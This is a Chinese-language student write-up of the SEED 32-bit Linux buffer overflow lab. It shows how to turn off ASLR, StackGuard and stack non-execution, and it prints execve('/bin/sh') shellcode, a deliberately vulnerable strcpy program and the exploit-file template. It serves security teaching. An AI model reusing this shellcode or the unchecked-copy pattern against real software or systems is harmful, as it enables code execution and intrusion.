SEED緩沖區溢出實驗筆記


緩沖區溢出實驗(Linux 32位)

參考教程與材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/

 (本文記錄了做SEED緩沖區溢出實驗的體會與問題,側重實踐,而不是講解緩沖區溢出原理的詳細教程)

1. 准備工作

使用SEED ubuntu虛擬機進行緩沖區溢出實驗,首先要關閉一些針對此攻擊的防御機制來簡化實驗。

(1)內存地址隨機化(Address Space Randomization):基於Linux的操作系統一般使堆和棧的開始地址隨機化,使得攻擊者猜測確切的地址變得困難。使用如下指令關閉該功能。

$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0

(2)The StackGuard Protection Scheme:GCC編譯器實現了一個被稱為“Stack Guard”的安全機制來防御緩沖區溢出攻擊。所以在編譯漏洞程序時加上-fno-stack-protector參數來關閉該機制。

 

(3)Non-Executable Stack:Ubuntu曾經允許棧執行,但是現在程序必須聲明棧是否允許執行。內核和鏈接器檢查程序頭的標志來判斷是否允許棧被執行。GCC在模式情況下設置棧不可執行,所以需要在編譯時加入-z execstack參數來允許棧執行。

2. ShellCode

教程提供了shellcode,是如下代碼反匯編得到的機器碼,功能就是打開一個shell,通過編譯執行call_shellcode.c可以驗證shellcode的正確性。使用gdb調試call_shellcode會發現buf的起始地址沒有進行字節對其,但是並不影響shellcode的執行,該驗證程序是將buf強制轉換成了函數指針來執行,用法巧妙。其中shellcode還有一些需要解釋的地方,如“//sh”是為了湊足4字節,並且“/”與“//”是一樣的;為了給execve傳遞參數,需要字符串的地址,這里采用了push並傳遞esp的方法;cdq是一個簡短的指令來使edx置零。注意在編譯時加入令棧可執行的參數,指令如下所示:gcc -z execstack -o call_shellcode call_shellcode.c

 

#include <stdio.h>
int main( ) {
char*
name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
View Code
/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdq                            */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
} 
View Code

 

 


3.漏洞程序stack.c

程序很簡單,從文件中讀入內容至str,傳入僅有24字節大小的buffer時會溢出。編譯時記得取消保護機制,加入ggdb為了使用gdb調試方便。gcc –ggdb -o stack -z execstack -fno-stack-protector stack.c

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}
View Code

 

 

4.實驗內容

GDB的使用參考:

http://blog.csdn.net/liigo/article/details/582231

http://blog.sina.com.cn/s/blog_605f5b4f0101ey1q.html

(1)攻擊漏洞程序執行shellcode

使用gdb進入bof()之后,使用i frame可以查看當前程序棧的信息,如下所示。從中可以直接看出ebp和eip的保存位置,其中eip的返回位置即要精心覆蓋的返回地址,將其指向我們構造的shellcode即可。

 

查看棧的內存與變量的位置,圖中圈出的就是保存的eip值和變量位置。不過有個疑問沒有解決,就是0xbffff010與0xbffff014這8個內存的作用不明。

 

執行memcpy后,可以看出內存變為如下圖所示。

 

即從0xbfffeff8開始存入了shellcode,開始時考慮采用NSR模式,但是由於漏洞程序的緩沖區很小,剛好可以放下shellcode,所以直接使用了SR模式,其中返回地址R是0xbfffeff8。另外需要注意,拷貝shellcode時不要把字符串結尾的’\x00’也復制過去,否則漏洞程序會認為字符串就此截止,而不復制后面的內容。這么做會發現shellcode運行出錯。經過仔細查看執行過程時的內存,發現shellcode會壓棧一些內容,壓入ebx時恰好會把shellcode最后的語句(位置0xbffffffc)覆蓋!故考慮使用RNS模式,實驗表明使用RNS模式更加簡單,容錯率也高。

 

 

修改exploit.c如下所示,成功!

 

 

(2)啟動內存地址隨機化

首先打開Linux的內存地址隨機化功能,sysctl -w kernel.randomize_va_space=2,再次執行stack會段錯誤。gdb調試時會默認關閉內存地址隨機化,需要進入gdb后首先輸入set disable-randomization off來開啟地址隨機化,接下來進行調試。每次運行時會發現棧的地址隨機變化,從而使得攻擊者無法確定shellcode的地址。

(3)Stack Guard

首先關閉內存地址隨機化以防止干擾,然后重新編譯stack.c,此時不加入-fno-stack-protector參數即開啟了該防護措施(新版本gcc)。再次執行stack會出現錯誤,從匯編可以看出,該機制是檢測ebp-0xc這個位置存放的4字節是否被改變,該位置0xbfffeffc恰好就在局部變量與棧幀之間。再次編譯stack程序,發現該檢測值會發生改變,可見是隨機生成的,難以預測。

 

 

(4)棧不可執行

使用gcc -o stack -fno-stack-protector -z noexecstack stack.c編譯stack.c,調試運行會發現只要執行棧上的指令,進程會收到系統信號SIGSEGV,段錯誤。可以使用Return-to-Libc來繞過該防御機制。

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
View Code

 

高級緩沖區溢出技術可以參考:http://drops.wooyun.org/tips/6597


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM